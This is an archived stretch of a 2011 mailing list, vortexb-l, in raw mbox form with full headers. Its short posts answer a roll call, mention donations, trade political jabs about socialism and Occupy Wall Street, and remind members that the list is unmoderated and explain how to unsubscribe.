vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=agWqS+NUe+gUGrLPUQH7jwLiHYGV5SGxM0c8XKUPoO4=; b=KHorbN/hGSJOB1WwWl777dRKdE03oznR1jjlpw4rweKkYaLqzvDDLl6R2gOh+rSZr+ KfkHvbqXcNbUasTUc1RzyLAHNnYliATSaxkGVAGDEtDzmnQte6qVPDjLg9UeQe6HFGkO YRw/zW8mP9u8JUZs5FumwjL7CA/CBgnWqQnvQ= MIME-Version: 1.0 In-Reply-To: References: Date: Wed, 12 Oct 2011 15:40:53 -0400 Message-ID: Subject: Re: [VoB]:Is There Anyone In There From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4444 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 685 On Wed, Oct 12, 2011 at 3:22 PM, leaking pen wrote: > there... are dues? =A0I haven't paid any dues. I'd love to, but I've > never been asked. When you first subscribed, you were sent a message which discussed, among other things, a yearly consideration to the list owner. Not dues . . . donations . . . thank you notes . . . maybe herbal remedies. :-) From vortexb-l-request@eskimo.com Wed Oct 12 13:31:35 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p9CKVXg9007276; Wed, 12 Oct 2011 13:31:33 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p9CKVWbd007268; Wed, 12 Oct 2011 13:31:32 -0700 Resent-Date: Wed, 12 Oct 2011 13:31:32 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=highsurf.com; h=Received:From:To:References:In-Reply-To:Subject:Date:Message-ID:MIME-Version:Content-Type:X-Mailer:Content-Language:Thread-Index:X-Source:X-Source-Args:X-Source-Dir; b=YtA41rYHWTODARZHPVMdD1jn66x8ASiP7qZQU2fItcoQEhOBwNe2j3NbGv91o+DhxX0E3HKnvxY5f/+tIJDlaYmkPYJQWU6bfsDgviZBUiCcdM1LUJ9KsnllNzutBnTY; From: "Rick Monteverde" To: References: In-Reply-To: Subject: RE: [VoB]:Is There Anyone In There Date: Wed, 12 Oct 2011 10:29:14 -1000 Message-ID: <015e01cc891d$9d7ddc70$d8799550$@com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_015F_01CC88C9.CBD1CC70" X-Mailer: Microsoft Office Outlook 12.0 Content-Language: en-us Thread-Index: AcyJEWnWcvejLsJnREWwnq0sMbB62wADCG0A X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - cx08.justhost.com X-AntiAbuse: Original Domain - eskimo.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - highsurf.com X-Source: X-Source-Args: X-Source-Dir: Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4445 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 686 This is a multi-part message in MIME format. ------=_NextPart_000_015F_01CC88C9.CBD1CC70 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Still here (crazy?) after all these years. From: Esa Ruoho [mailto:esaruoho@gmail.com] Sent: Wednesday, October 12, 2011 6:59 AM To: vortexb-l@eskimo.com Subject: Re: [VoB]:Is There Anyone In There i can hear you On Wed, Oct 12, 2011 at 7:56 PM, Terry Blanton wrote: Just nod if you can hear me. Is there anyone at home? T ------=_NextPart_000_015F_01CC88C9.CBD1CC70 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Still here (crazy?) after all these years.

 

From:= = Esa Ruoho [mailto:esaruoho@gmail.com]
Sent: Wednesday, = October 12, 2011 6:59 AM
To: = vortexb-l@eskimo.com
Subject: Re: [VoB]:Is There Anyone In = There

 

i can hear you

On Wed, Oct 12, 2011 at 7:56 PM, Terry Blanton <hohlraum@gmail.com> = wrote:

Just nod if you can hear me.  Is = there anyone at  home?

T

 

------=_NextPart_000_015F_01CC88C9.CBD1CC70-- From vortexb-l-request@eskimo.com Wed Oct 12 13:37:15 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p9CKbCIS009076; Wed, 12 Oct 2011 13:37:13 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p9CKbCbL009062; Wed, 12 Oct 2011 13:37:12 -0700 Resent-Date: Wed, 12 Oct 2011 13:37:12 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <9330E3079B604551AA23325F60F300EF@Lechoisis> From: "Nick Palmer" To: References: In-Reply-To: Subject: Re: [VoB]:Is There Anyone In There Date: Wed, 12 Oct 2011 21:33:55 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6002.18197 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6002.18463 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4446 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 687 Re subscribing/unsubscribing bug: Thanks Terry. I felt guilty about not paying since I had to go part time... Nick Palmer On the side of the Planet - and the people - because they're worth it Blogspot - Sustainability and stuff according to Nick Palmer http://nickpalmer.blogspot.com From vortexb-l-request@eskimo.com Wed Oct 12 14:21:26 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id p9CLL7PS003058; Wed, 12 Oct 2011 14:21:08 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id p9CLL7GO003049; Wed, 12 Oct 2011 14:21:07 -0700 Resent-Date: Wed, 12 Oct 2011 14:21:07 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=V4lV5nFFIa2qtiofgRs+cm0a5f5F+GgYsVejDE5jvn4=; b=CxjXBLwZCrDfhARz3A7xRnGK5GRKZu3sxhUWDnanvr2a1Z877kQn9Jg6+C3QythEvj iiKY6ZfrzOFdEtFMeej6zZl/UFauTT9F4EXjZZc7qTALwrbifEpQuSUAWunWqFWhx6ir XXPK3oHCbCe1Ykeewse84xD1LNXU1MlKwGK+s= MIME-Version: 1.0 In-Reply-To: <015e01cc891d$9d7ddc70$d8799550$@com> References: <015e01cc891d$9d7ddc70$d8799550$@com> Date: Wed, 12 Oct 2011 17:18:52 -0400 Message-ID: Subject: Re: [VoB]:Is There Anyone In There From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4447 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 688 On Wed, Oct 12, 2011 at 4:29 PM, Rick Monteverde wrote: > Still here (crazy?) after all these years. "I've always been mad, I know I've been mad, like the most of us are. It's very hard to explain why you're mad, even if you're not mad." "I've been mad for fucking years, absolutely years. I've been over the edge for yonks. Been working with bands so long, I went crazy..." From vortexb-l-request@eskimo.com Thu Oct 13 08:59:01 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p9DFwrkO018557; Thu, 13 Oct 2011 08:58:57 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p9DFwnLi018517; Thu, 13 Oct 2011 08:58:49 -0700 Resent-Date: Thu, 13 Oct 2011 08:58:49 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 13 Oct 2011 08:56:30 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Is There Anyone In There Message-ID: <20111013155630.GA4703@shell.resist.ca> Reply-To: grok@resist.ca References: <20111012171728.GA18938@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: CBU-97, TA SAS, CIA, tetryl, Bear User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4448 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 689 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > On Wed, Oct 12, 2011 at 1:17 PM, grok wrote: > > > **Socialist revolution NOW!!** > > > > Build the North America-wide General Strike. > > Ah, it's good to know that some people never change! The same can more pointedly be said for all youse petit-bourgeois types on Vortex-L who still believe that some Capitalist saviors are going to make your dreams come true. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Thu Oct 13 10:12:38 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p9DHCVR6012185; Thu, 13 Oct 2011 10:12:31 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p9DHCUKH012172; Thu, 13 Oct 2011 10:12:30 -0700 Resent-Date: Thu, 13 Oct 2011 10:12:30 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArYGAAUbl06CX4DX/2dsb2JhbABDhHWVAYxlgwKBUwEBAQQBAQEgFUARCxgCAgUWCwICCQMCAQIBRQUOCAEBrhKIZIkCgSyFLYEUBId/hF2MRIw6 X-IronPort-AV: E=Sophos;i="4.69,341,1315152000"; d="scan'208";a="161112915" Message-ID: <4E971B6F.9000402@cyllene.uwa.edu.au> Date: Fri, 14 Oct 2011 01:10:07 +0800 From: jwinter@cyllene.uwa.edu.au User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Is There Anyone In There References: <20111012171728.GA18938@shell.resist.ca> <20111013155630.GA4703@shell.resist.ca> In-Reply-To: <20111013155630.GA4703@shell.resist.ca> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4449 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 690 On 10/13/2011 11:56 PM, grok wrote: > The same can more pointedly be said for all youse petit-bourgeois ... Ahhh, some of us are indeed fortunate to belong to the middle class. I guess the lumpenproletariat have reason to be jealous!? :-) From vortexb-l-request@eskimo.com Thu Oct 13 10:54:33 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id p9DHsVMC025949; Thu, 13 Oct 2011 10:54:31 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id p9DHsJpN025908; Thu, 13 Oct 2011 10:54:19 -0700 Resent-Date: Thu, 13 Oct 2011 10:54:19 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 13 Oct 2011 10:52:00 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Is There Anyone In There Message-ID: <20111013175159.GA29048@shell.resist.ca> Reply-To: grok@resist.ca References: <20111012171728.GA18938@shell.resist.ca> <20111013155630.GA4703@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Space-based Infrared Satellite, B1-B, Ali Shamkhani, Pu-238, W-80 User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4450 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 691 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > On Thu, Oct 13, 2011 at 11:56 AM, grok wrote: > > > The same can more pointedly be said for all youse petit-bourgeois > > types on Vortex-L who still believe that some Capitalist saviors are > > going to make your dreams come true. > > Well, some of you commie liberals are coming around. I'm a commie pure and simple, Terry. I detest liberals, in general. > I heard Bill Maher endorsed Herman Cain for president last night. He's a comedian, after all. > Maher also offered a way to clear out the park of the kids "Occupying > Wall Street" . . . Set up a Jobs Fair next door. > > :-) > > T Besides going for the yucks, Maher simply demonstrates his essentially libertarian capitalist outlook, with such an obtuse analysis of the situation. But of course, this gets him quite a following, in these confused and increasingly desperate times. Including on Vortex-L. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Thu Oct 13 11:01:56 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p9DI1nqd027247; Thu, 13 Oct 2011 11:01:49 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p9DI1mOF027217; Thu, 13 Oct 2011 11:01:48 -0700 Resent-Date: Thu, 13 Oct 2011 11:01:48 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 13 Oct 2011 10:59:28 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Is There Anyone In There Message-ID: <20111013175928.GB29048@shell.resist.ca> Reply-To: grok@resist.ca References: <20111012171728.GA18938@shell.resist.ca> <20111013155630.GA4703@shell.resist.ca> <4E971B6F.9000402@cyllene.uwa.edu.au> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <4E971B6F.9000402@cyllene.uwa.edu.au> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Space-based Infrared Satellite, B1-B, Ali Shamkhani, Pu-238, W-80 User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4451 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 692 As the smoke cleared, jwinter@cyllene.uwa.edu.au mounted the barricade and roared out: > On 10/13/2011 11:56 PM, grok wrote: > >The same can more pointedly be said for all youse petit-bourgeois ... > Ahhh, some of us are indeed fortunate to belong to the middle class. > I guess the lumpenproletariat have reason to be jealous!? :-) I meant petit-bourgeois in the subjective sense of conscious outlook. Which is so common in a World dominated by the bourgeoisie and their class hegemony. Fact of the matter is: you're not 'middle-class' if you don't own your own means of production. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Sun Oct 16 12:54:39 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id p9GJsW5B010211; Sun, 16 Oct 2011 12:54:36 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id p9GJsLXG010190; Sun, 16 Oct 2011 12:54:21 -0700 Resent-Date: Sun, 16 Oct 2011 12:54:21 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <4E9B35DD.4090803@fdscience.org> Date: Sun, 16 Oct 2011 15:51:57 -0400 From: "Kyle R. Mcallister" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.23) Gecko/20110920 Thunderbird/3.1.15 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Is There Anyone In There References: <20111012171728.GA18938@shell.resist.ca> <20111013155630.GA4703@shell.resist.ca> <4E971B6F.9000402@cyllene.uwa.edu.au> In-Reply-To: <4E971B6F.9000402@cyllene.uwa.edu.au> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4452 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 693 Still here. Please send your answer to Old Pink, care of the funny farm. --Kyle From vortexb-l-request@eskimo.com Fri Nov 11 16:28:20 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id pAC0SHjC017937; Fri, 11 Nov 2011 16:28:17 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id pAC0S6ZF017918; Fri, 11 Nov 2011 16:28:06 -0800 Resent-Date: Fri, 11 Nov 2011 16:28:06 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; bh=/HvLj3qjtqG2ssA3dMSC3KeZ1r9b+hNkSTN0167lJXQ=; b=AlyrOqtOBGjPX+yMqTdRjmukaPuf3jKu0MAaIP+sj0eD1Wb6C9loE1fCj2D/u+JYTu EzL+pQIVUOT2TYzS+7xoiuz2JYpn6f2+9H1bDoigunO7zE0Z3DP+Kh5UB9BjU3RhSBhF H8ZQmMNY4U4dJWQwYjdFBRZhO9AQYM9hg6CL8= MIME-Version: 1.0 Date: Fri, 11 Nov 2011 19:03:35 -0500 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4453 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:A Reminder Status: O X-Status: X-Keywords: X-UID: 694 Hey, if you really want to get down and dirty, you can post whatever you wish here: vortexb-l@eskimo.com It's open for all types of eCat fights, religion or whatever. Vortex-l rules do not apply. However, nothing is archived either. Your membership in this forum comes free with your Vort membership. Meeoooww! Psssssst! T From vortexb-l-request@eskimo.com Fri Nov 11 16:32:13 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id pAC0WA6P020075; Fri, 11 Nov 2011 16:32:11 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id pAC0WA6r020068; Fri, 11 Nov 2011 16:32:10 -0800 Resent-Date: Fri, 11 Nov 2011 16:32:10 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=c+SwRL4SgVm/SZrfdlhxWBGPoMpkjCFchXdxMvWLrdI=; b=qlrRGZaet1y26/tEdTwOkFtkOLEivjdbLcfqk3aQEYtGpgquU3YKigbB7FU+T8X5Z6 tibTWLFDsySgypG2KF2tmBXhb2V8j47Vm2wuOuNtzYlP9f7Oh4ODURcXM8VuP+845ABG EZeBUXQDy7r0YiwO0ylJsC2oDE4ZcRxI7rN0Q= MIME-Version: 1.0 In-Reply-To: References: Date: Fri, 11 Nov 2011 19:29:39 -0500 Message-ID: Subject: Re: [VoB]:A Reminder From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4454 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 695 Note the 'b' in 'vortexb'. Warning, there are people who have been banned from the normal vortex list lurking on vortexb (hi grok!). T On Fri, Nov 11, 2011 at 7:03 PM, Terry Blanton wrote: > Hey, if you really want to get down and dirty, you can post whatever > you wish here: > > vortexb-l@eskimo.com > > It's open for all types of eCat fights, religion or whatever. > Vortex-l rules do not apply. =A0However, nothing is archived either. > Your membership in this forum comes free with your Vort membership. > > Meeoooww! =A0Psssssst! > > T > > From vortexb-l-request@eskimo.com Fri Nov 11 16:39:22 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pAC0dJWL002260; Fri, 11 Nov 2011 16:39:19 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pAC0dD7C002242; Fri, 11 Nov 2011 16:39:13 -0800 Resent-Date: Fri, 11 Nov 2011 16:39:13 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=YXvbVidhpaHyEV7G2YoGa7utdIYIwumsMguqM2eVjoQ=; b=rYV0WBuBqt50odR0Ruswe4HuMFo+zuJiOMvtG17qODeA1qIUGKMjaXeFMg+GUrd2Z1 CrSkNPyNgGtnP6A67xR0+wCNX8TcKRRIBvLvVQApHPvlIS4/K1yjTUsZS5EVvdPykcg1 1Ci6W9dH2DI1hXL3CWwYDrEKGNNCF/XJrNNpI= MIME-Version: 1.0 In-Reply-To: References: Date: Fri, 11 Nov 2011 19:31:07 -0500 Message-ID: Subject: Re: [VoB]:A Reminder From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4455 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 696 You can unsubscribe by sending a null message with 'unsubscribe' in the subject header to vortexb-l-request@eskimo.com. Note that many in the normal vortex list have already unsubscribed from the A-B normal vortexb list. T On Fri, Nov 11, 2011 at 7:03 PM, Terry Blanton wrote: > Hey, if you really want to get down and dirty, you can post whatever > you wish here: > > vortexb-l@eskimo.com > > It's open for all types of eCat fights, religion or whatever. > Vortex-l rules do not apply. =A0However, nothing is archived either. > Your membership in this forum comes free with your Vort membership. > > Meeoooww! =A0Psssssst! > > T > > From vortexb-l-request@eskimo.com Fri Nov 11 16:43:13 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pAC0hB4L002967; Fri, 11 Nov 2011 16:43:11 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pAC0hAUP002958; Fri, 11 Nov 2011 16:43:10 -0800 Resent-Date: Fri, 11 Nov 2011 16:43:10 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=EqVcIIFLGfWLpY7/hi5cyMg6kudodbFTDnCyuwodz0M=; b=deuufmkOu81yFz5n7gv8MMbdgfvs5TlrPGid78WCbxyZ70gadzqqDqzIWQp+a/1iLE MYQgu2oPFUthMI07/upVqmq0na/BI1F0ZURYYq9uI0cbf0+ZVt67OFe4VDHXSB7IgZRJ njP4QSSOdijyIvpMGrMrvHfqQDgNF9LsDUtD8= MIME-Version: 1.0 In-Reply-To: References: Date: Fri, 11 Nov 2011 19:32:02 -0500 Message-ID: Subject: Re: [VoB]:A Reminder From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4456 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 697 A-B normal =3D abnormal, from Young Frankenstein. T On Fri, Nov 11, 2011 at 7:31 PM, Terry Blanton wrote: > You can unsubscribe by sending a null message with 'unsubscribe' in > the subject header to vortexb-l-request@eskimo.com. > > Note that many in the normal vortex list have already unsubscribed > from the A-B normal vortexb list. > > T > > On Fri, Nov 11, 2011 at 7:03 PM, Terry Blanton wrote= : >> Hey, if you really want to get down and dirty, you can post whatever >> you wish here: >> >> vortexb-l@eskimo.com >> >> It's open for all types of eCat fights, religion or whatever. >> Vortex-l rules do not apply. =A0However, nothing is archived either. >> Your membership in this forum comes free with your Vort membership. >> >> Meeoooww! =A0Psssssst! >> >> T >> >> > From vortexb-l-request@eskimo.com Fri Nov 11 16:55:15 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pAC0tCUc005649; Fri, 11 Nov 2011 16:55:12 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pAC0tBO7005642; Fri, 11 Nov 2011 16:55:11 -0800 Resent-Date: Fri, 11 Nov 2011 16:55:11 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 11 Nov 2011 16:52:29 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:A Reminder Message-ID: <20111112005229.GD20802@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: 